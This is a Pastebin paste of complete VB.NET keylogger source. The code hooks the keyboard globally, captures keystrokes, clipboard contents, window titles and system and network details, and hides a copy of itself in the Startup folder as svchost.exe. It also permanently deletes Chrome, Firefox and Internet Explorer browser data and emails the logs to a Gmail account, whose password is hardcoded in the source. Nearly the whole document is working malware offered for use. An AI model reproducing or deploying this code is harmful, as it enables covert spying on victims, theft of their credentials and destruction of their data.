API tools faq
paste
HIIPA

keylogger source code

HIIPA
Mar 2nd, 2016
1,166
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.79 KB | None | 0 0
raw download clone embed print report
  1.  
  2. Imports System.Text
  3. Imports System.IO
  4. Imports System.ComponentModel
  5. Imports System.Net.Mail
  6.  
  7. 'to view more about this source code, go this youtube channel:https://www.youtube.com/watch?v=zvBAEsWpmzs
  8. 'Published on Oct 28, 2013
  9. 'Get source code and whole project by clicking the link: www.codeexecutable.com/courses/view/Adva­nced-Keylogger/All-in-one-keylogger
  10.  
  11. Public Class Form1
  12. Dim WithEvents K As New Keyboard
  13. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  14. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  15. Private Declare Function ToUnicodeEx Lib "user32.dll" (ByVal wVirtKey As Keys, ByVal wScanCode As UInteger, ByVal lpKeyState() As Byte, ByVal pwszBuff As StringBuilder, ByVal cchBuff As Integer, ByVal wFlags As UInteger, ByVal dwhkl As IntPtr) As Integer
  16. Dim strin As String = Nothing
  17. Private Sub keyboardlanguages()
  18. For index = 0 To InputLanguage.InstalledInputLanguages.Count - 1 Step 1
  19. TextBox2.Text = InputLanguage.InstalledInputLanguages.Item(index).LayoutName.ToString + TextBox2.Text
  20. Next
  21. End Sub
  22. Private Function getactivewindowstitle() As String
  23. Dim mystr As String
  24. mystr = New String(Chr(0), 100)
  25. GetWindowText(GetForegroundWindow, mystr, 100)
  26. mystr = mystr.Substring(0, InStr(mystr, Chr(0)) - 1)
  27. Return mystr
  28. End Function
  29.  
  30. Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  31. If strin <> getactivewindowstitle() Then
  32. TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" + getactivewindowstitle() + "]" + vbNewLine + "--->" + Clipboard.GetText.ToString + "<---" + vbNewLine + vbNewLine
  33. strin = getactivewindowstitle()
  34. End If
  35. End Sub
  36. Private Sub k_down(ByVal key As String) Handles K.Down
  37. TextBox1.Text &= key
  38. End Sub
  39.  
  40. Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
  41. 'windows 7 startup user
  42. Try
  43.  
  44. Dim file1 As String = Application.ExecutablePath
  45. Dim copy1 As String = "c:\users\" + Environment.UserName.ToString + "\appdata\roaming\microsoft\windows\start menu\programs\startup\svchost.exe"
  46. If File.Exists(copy1) Then
  47. Else
  48. System.IO.File.Copy(file1, copy1)
  49. End If
  50. Catch ex As Exception
  51. End Try
  52. End Sub
  53.  
  54. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  55. keyboardlanguages()
  56. Select Case (My.Settings.browser)
  57. Case 0
  58. My.Settings.browser = 1
  59. My.Settings.Save()
  60. My.Settings.Reload()
  61. Case 1
  62. Timer4.Start()
  63. Case 2
  64. Case Else
  65. End Select
  66.  
  67. TextBox1.Text = Now() + vbNewLine + vbNewLine
  68.  
  69. Try
  70. Dim myprocess As New Process()
  71. myprocess.StartInfo.UseShellExecute = False
  72. myprocess.StartInfo.RedirectStandardOutput = True
  73. Try
  74. myprocess.StartInfo.FileName = "ipconfig"
  75. myprocess.StartInfo.Arguments = "/all"
  76. myprocess.StartInfo.CreateNoWindow = True
  77. myprocess.Start()
  78. TextBox1.Text = TextBox1.Text + _
  79. Replace(myprocess.StandardOutput.ReadToEnd(), _
  80. Chr(13) & Chr(13), Chr(13))
  81. myprocess.WaitForExit()
  82. Catch ex As Win32Exception
  83. End Try
  84. Catch ex As Exception
  85. End Try
  86. Try
  87. TextBox1.Text = vbNewLine + vbNewLine + TextBox1.Text + vbNewLine + vbNewLine + "user name: " + Environment.UserName.ToString
  88. TextBox1.Text = TextBox1.Text + vbNewLine + "computer Name: " + Environment.MachineName.ToString
  89. TextBox1.Text = TextBox1.Text + vbNewLine + "screen: " + My.Computer.Screen.WorkingArea.ToString
  90. TextBox1.Text = TextBox1.Text + vbNewLine + "os version: " + Environment.OSVersion.ToString
  91. TextBox1.Text = TextBox1.Text + vbNewLine + "run time: " + Environment.Version.ToString
  92. TextBox1.Text = TextBox1.Text + vbNewLine + "system root: " + Environment.SystemDirectory.ToString
  93. TextBox1.Text = TextBox1.Text + vbNewLine + "user domain Name: " + Environment.UserName.ToString
  94. TextBox1.Text = TextBox1.Text + vbNewLine + "total physical memory: " + My.Computer.Info.TotalPhysicalMemory.ToString
  95. TextBox1.Text = TextBox1.Text + vbNewLine + "remain physical memory: " + My.Computer.Info.AvailablePhysicalMemory.ToString
  96. TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine
  97. K.CreateHook()
  98. Catch ex As Exception
  99. End Try
  100. End Sub
  101.  
  102. Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick
  103. 'Windows 7
  104.  
  105. 'mozilla deletes folder and .ini file
  106. If My.Computer.FileSystem.DirectoryExists("C:\Users\" + Environment.UserName.ToString + "AppData\roaming\mozilla\firefox\profiles.ini") Then
  107. Try
  108. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "AppData\roaming\mozilla\firefox\profiles.ini", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  109. System.IO.File.Delete("c:\users" + Environment.UserName.ToString + "\appdata\roaming\mozilla\firefox\profiles.ini")
  110.  
  111. Catch ex As Exception
  112. End Try
  113. Else
  114.  
  115. End If
  116.  
  117. 'chrome deletes folder
  118. If My.Computer.FileSystem.DirectoryExists("C:\Users\" + Environment.UserName.ToString + "\AppData\Local\Google\Chrome\User Data") Then
  119. Try
  120. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Local\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  121. Catch ex As Exception
  122. End Try
  123. Else
  124.  
  125. End If
  126.  
  127. 'IE delete folder
  128.  
  129. If My.Computer.FileSystem.DirectoryExists("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Cookies") Then
  130. Try
  131. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  132. Catch ex As Exception
  133. End Try
  134. Else
  135.  
  136. End If
  137.  
  138. My.Settings.browser = 2
  139. My.Settings.Save()
  140. My.Settings.Reload()
  141. Timer4.Stop()
  142. End Sub
  143.  
  144. Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
  145. Try
  146. Dim mymailmessage As New mailmessage()
  147. mymailmessage.From = New MailAddress("wendoessps1ceven7@gmail.com")
  148. mymailmessage.To.Add("wendoessps1ceven7@gmail.com")
  149. mymailmessage.Subject = Environment.UserName.ToString + "turned off part:" + My.Settings.part.ToString
  150. mymailmessage.body = TextBox1.Text
  151. Dim SMTpServer As New SmtpClient("smtp.gmail.com")
  152. SMTpServer.port = 587
  153. SMTpServer.Credentials = New System.Net.NetworkCredential("wendoessps1ceven7@gmail.com", "wendoesSPS17")
  154. SMTpServer.EnableSsl = True
  155. SMTpServer.send(mymailmessage)
  156. Catch ex As Exception
  157. End Try
  158. My.Settings.part = My.Settings.part + 1
  159. My.Settings.Save()
  160. My.Settings.Reload()
  161. End Sub
  162.  
  163. Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
  164. Try
  165. Timer1.Stop()
  166. Dim mymailmessage As New MailMessage()
  167. mymailmessage.From = New MailAddress("wendoessps1ceven7@gmail.com")
  168. mymailmessage.To.Add("wendoessps1ceven7@gmail.com")
  169. mymailmessage.Subject = Environment.UserName.ToString + "part:" + My.Settings.part.ToString + My.Settings.part.ToString + TextBox2.Text
  170. 'sent this
  171. mymailmessage.Body = "compare info: " + My.Computer.Info.InstalledUICulture.CompareInfo.ToString + vbNewLine +
  172. "display name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine +
  173. "english name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine +
  174. "left language tag: " + My.Computer.Info.InstalledUICulture.IetfLanguageTag.ToString + vbNewLine +
  175. "name: " + My.Computer.Info.InstalledUICulture.Name.ToString + vbNewLine +
  176. "native name: " + My.Computer.Info.InstalledUICulture.NativeName.ToString + vbNewLine +
  177. "text info: " + My.Computer.Info.InstalledUICulture.TextInfo.ToString + vbNewLine +
  178. "3 letter ISOlanguage name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine +
  179. "3 letter windows language name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine +
  180. "2 letter ISO language name: " + My.Computer.Info.InstalledUICulture.TwoLetterISOLanguageName.ToString + vbNewLine + vbNewLine + vbNewLine + TextBox1.Text
  181. Dim SMTpServer As New SmtpClient("smtp.gmail.com")
  182.  
  183. SMTpServer.Port = 587
  184. SMTpServer.Credentials = New System.Net.NetworkCredential("wendoessps1ceven7@gmail.com", "wendoesSPS17")
  185. SMTpServer.EnableSsl = True
  186. SMTpServer.Send(mymailmessage)
  187. TextBox1.Clear()
  188. Timer1.Start()
  189. Catch ex As Exception
  190. End Try
  191. My.Settings.part = My.Settings.part + 1
  192. My.Settings.Save()
  193. My.Settings.Reload()
  194. End Sub
  195. End Class
  196.  
  197.  
  198. keyboard languages class
  199.  
  200.  
  201. Public Class Keyboard
  202. Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
  203. Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  204. Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
  205. Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  206. Public Shared Event Down(ByVal Key As String)
  207. Public Shared Event Up(ByVal Key As String)
  208. Private Shared Key As Integer
  209. Private Shared KHD As KDel
  210. Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
  211. Public Sub CreateHook()
  212. KHD = New KDel(AddressOf Proc)
  213. Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  214. End Sub
  215.  
  216. Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  217. If (Code = 0) Then
  218. Select Case wParam
  219. Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
  220. Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
  221. End Select
  222. End If
  223. Return CallNextHookEx(Key, Code, wParam, lParam)
  224. End Function
  225. Public Sub DiposeHook()
  226. UnhookWindowsHookEx(Key)
  227. MyBase.Finalize()
  228. End Sub
  229. Private Function Feed(ByVal e As Keys) As String
  230. Select Case e
  231. Case 65 To 90
  232. If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
  233. Return e.ToString
  234. Else
  235. Return e.ToString.ToLower
  236. End If
  237. Case 48 To 57
  238. If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  239. Select Case e.ToString
  240. Case "D1" : Return "!"
  241. Case "D2" : Return "@"
  242. Case "D3" : Return "#"
  243. Case "D4" : Return "$"
  244. Case "D5" : Return "%"
  245. Case "D6" : Return "^"
  246. Case "D7" : Return "&"
  247. Case "D8" : Return "*"
  248. Case "D9" : Return "("
  249. Case "D0" : Return ")"
  250. End Select
  251. Else
  252. Return e.ToString.Replace("D", Nothing)
  253. End If
  254. Case 96 To 105
  255. Return e.ToString.Replace("NumPad", Nothing)
  256. Case 106 To 111
  257. Select Case e.ToString
  258. Case "Divide" : Return "/"
  259. Case "Multiply" : Return "*"
  260. Case "Subtract" : Return "-"
  261. Case "Add" : Return "+"
  262. Case "Decimal" : Return "."
  263. End Select
  264. Case 32
  265. Return " "
  266. Case 186 To 222
  267. If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  268. Select Case e.ToString
  269. Case "OemMinus" : Return "_"
  270. Case "Oemplus" : Return "+"
  271. Case "OemOpenBrackets" : Return "{"
  272. Case "Oem6" : Return "}"
  273. Case "Oem5" : Return "|"
  274. Case "Oem1" : Return ":"
  275. Case "Oem7" : Return """"
  276. Case "Oemcomma" : Return "<"
  277. Case "OemPeriod" : Return ">"
  278. Case "OemQuestion" : Return "?"
  279. Case "Oemtilde" : Return "~"
  280. End Select
  281. Else
  282. Select Case e.ToString
  283. Case "OemMinus" : Return "-"
  284. Case "Oemplus" : Return "="
  285. Case "OemOpenBrackets" : Return "["
  286. Case "Oem6" : Return "]"
  287. Case "Oem5" : Return ""
  288. Case "Oem1" : Return ";"
  289. Case "Oem7" : Return "'"
  290. Case "Oemcomma" : Return ","
  291. Case "OemPeriod" : Return "."
  292. Case "OemQuestion" : Return "/"
  293. Case "Oemtilde" : Return "`"
  294. End Select
  295. End If
  296. Case Keys.Return
  297. Return Environment.NewLine
  298. Case Else
  299. Return "<" + e.ToString + ">"
  300. End Select
  301. Return Nothing
  302. End Function
  303. End Class
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!